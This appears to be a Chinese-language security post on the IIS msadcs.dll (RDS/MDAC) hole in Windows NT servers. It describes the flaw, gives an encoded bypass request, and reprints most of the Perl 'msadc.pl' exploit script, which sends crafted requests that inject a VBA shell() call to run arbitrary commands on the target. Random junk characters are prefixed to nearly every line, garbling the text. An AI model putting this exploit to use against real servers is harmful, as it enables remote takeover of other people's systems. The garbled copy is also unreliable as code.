IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
?5~!i9pY 9d\N[[Vu]R 涉及程序:
L82NP)St Microsoft NT server
x#
8IZ h48 bb.p2 描述:
E .;io*0 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
F#1kZ@nq yN:>!SQ 详细:
</ZHa:=7 如果你没有时间读详细内容的话,就删除:
9dYOH)f c:\Program Files\Common Files\System\Msadc\msadcs.dll
3B#!2| 有关的安全问题就没有了。
0/Q5d,'Y[2 aBlbg3 q 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
d*9j77C ] [V5-%w^ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
CWMlZVG 关于利用ODBC远程漏洞的描述,请参看:
~@fanR = vKkf2 7 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :?#cDyW) 0O;
Z 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
N|N/) http://www.microsoft.com/security/bulletins/MS99-025faq.asp .v
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JX, n 这里不再论述。
v=Mz I#0L i
tW~d 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
H A\A$> $4h04_" /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
~UW{)]_jox 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Q9q9<J7j$ FB!z#Eim va+m9R0 #将下面这段保存为txt文件,然后: "perl -x 文件名"
=n)#!i rgn|24x #!perl
h7RD`k:mF #
P^;WB*V # MSADC/RDS 'usage' (aka exploit) script
Z@nmjj i #
n}5x-SxS0 # by rain.forest.puppy
=U_@zDD@V #
B>aEHb # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
!vrnoFVu # beta test and find errors!
dw99FA6 !Iko0#4i use Socket; use Getopt::Std;
v1K4 $&{F getopts("e:vd:h:XR", \%args);
.m'N7`VB auoA print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
L]NYYP- 3H <`Z4;
if (!defined $args{h} && !defined $args{R}) {
gQCC>8 print qq~
C=EhY+5 Usage: msadc.pl -h <host> { -d <delay> -X -v }
8fEAYRGd -h <host> = host you want to scan (ip or domain)
Oo$%Yh51~ -d <seconds> = delay between calls, default 1 second
eo]a'J9( -X = dump Index Server path table, if available
x"!#_0TT} -v = verbose
GiFf0c
9 -e = external dictionary file for step 5
J ZNyC!u 98 ayA$ Or a -R will resume a command session
uTUa4^]* ]Y$&78u8t ~; exit;}
o"f%\N0_8 C7T;;1P? $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
LVWxd}0 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
yOM
-;h if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
h!~|6nj if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
p+5#dbyr $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
%rX\
P if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0=gF6U -ca]Q|m 8 if (!defined $args{R}){ $ret = &has_msadc;
B=^2g}mgK die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Z#[>N,P v@]6<e$ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
2/UI>@By . "cmd /c ";
W>VAbm $in=<STDIN>; chomp $in;
0L
7@2|a0 $command="cmd /c " . $in ;
0n7HkDo ^M"HSewo if (defined $args{R}) {&load; exit;}
n9w j[t1/ FBE @pd print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
?|gGsm+ &try_btcustmr;
WMRYT"J?N] 8UlB~fVg print "\nStep 2: Trying to make our own DSN...";
.Wd.)^? &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
E)RI!0Ra Sk!v,gx print "\nStep 3: Trying known DSNs...";
J>/Ci\OB &known_dsn;
+}`p"<'u B44]NsYks~ print "\nStep 4: Trying known .mdbs...";
1\=pPys) &known_mdb;
#r-j.f}yx deHY8x5uI if (defined $args{e}){
AW]("pt print "\nStep 5: Trying dictionary of DSN names...";
DKf}47y &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Z&BM%.NZJ B6^w{eXN print "Sorry Charley...maybe next time?\n";
/QM0.{Ypl exit;
8Q#t\$RY !tm|A`<g#< ##############################################################################
ZY~zpC_ _D!M
nTK sub sendraw { # ripped and modded from whisker
(mu{~@Hw sleep($delay); # it's a DoS on the server! At least on mine...
2M!+gk=+ my ($pstr)=@_;
I67k M{V socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
zDKLo 3: die("Socket problems\n");
)^V5*#69D if(connect(S,pack "SnA4x8",2,80,$target)){
E5v|SFD select(S); $|=1;
j&o/X7I= print $pstr; my @in=<S>;
=<Zwv\U select(STDOUT); close(S);
>MBn2(\B; return @in;
uKaf{=* } else { die("Can't connect...\n"); }}
7H/!rx rHA/
##############################################################################
'33Yl+h KE }o sub make_header { # make the HTTP request
]QjXh> my $msadc=<<EOT
7"h=MB_ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
?w c3+?\J User-Agent: ACTIVEDATA
rPrEEWS0) Host: $ip
iT)2 ?I6! Content-Length: $clen
mmh nw(/ Connection: Keep-Alive
Q#d+IIR0gK x`/m>~_ ADCClientVersion:01.06
z|oA{VxW> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
<yX@@8 h$:&1jVY{ --!ADM!ROX!YOUR!WORLD!
}0(vR_x Content-Type: application/x-varg
N6-2*ES Content-Length: $reqlen
D0,oml }bj,&c
EOT
)w3XN A_V ; $msadc=~s/\n/\r\n/g;
i2\\!s return $msadc;}
&km d< +dPE!: ##############################################################################
OsHkAI PW~cqo B71 sub make_req { # make the RDS request
.q~,.yI&j my ($switch, $p1, $p2)=@_;
#b<lt'gC my $req=""; my $t1, $t2, $query, $dsn;
T-<> )N5y uv_P{%TK if ($switch==1){ # this is the btcustmr.mdb query
;mM\,
{Z $query="Select * from Customers where City=" . make_shell();
6+{ nw}e8 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~CjmYP'o $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
#lLn='4 4Tbi%vF{ elsif ($switch==2){ # this is general make table query
&~D.")Dz $query="create table AZZ (B int, C varchar(10))";
@et3}-c $dsn="$p1";}
-jklH/gF\% ^OGH5@" elsif ($switch==3){ # this is general exploit table query
&
Q|f *T $query="select * from AZZ where C=" . make_shell();
iZVT% A+q $dsn="$p1";}
;]8p:ME H/ B^N,oi elsif ($switch==4){ # attempt to hork file info from index server
?U2g8D nFY $query="select path from scope()";
"' i [~ $dsn="Provider=MSIDXS;";}
.D M1Knj 2#Q"@ elsif ($switch==5){ # bad query
l[!C-Tq $query="select";
NjCLL`?f $dsn="$p1";}
FSXKH {Z &p(*i@Ms $t1= make_unicode($query);
o@Cn_p^X $t2= make_unicode($dsn);
?>< $req = "\x02\x00\x03\x00";
lD+y,"; $req.= "\x08\x00" . pack ("S1", length($t1));
BGk<NEzH $req.= "\x00\x00" . $t1 ;
2EI m $req.= "\x08\x00" . pack ("S1", length($t2));
7\|NYT4 $req.= "\x00\x00" . $t2 ;
GoZJDE3 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
JUUF^/J return $req;}
Qnu&GBM c] :J/'vc ##############################################################################
c^q O@%s LTlC}3c28f sub make_shell { # this makes the shell() statement
RQ$o'U9A return "'|shell(\"$command\")|'";}
-`ys pE0? 1 _:1/~R1 ##############################################################################
nk?xNe4 `h%D\EKeB sub make_unicode { # quick little function to convert to unicode
3YZ3fhpw my ($in)=@_; my $out;
/:c,v- for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
UmHJ/DI@ return $out;}
@,f,tk=\S J*W;{Vty ##############################################################################
;7hX0AK E&Zx]?~ sub rdo_success { # checks for RDO return success (this is kludge)
"e!$=;5 my (@in) = @_; my $base=content_start(@in);
~wd?-$;070 if($in[$base]=~/multipart\/mixed/){
@"#gO:|[i0 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Wb-'E%K return 0;}
,"lBS? 1:~m)"?I_^ ##############################################################################
p<^/T,&I f<t*#]<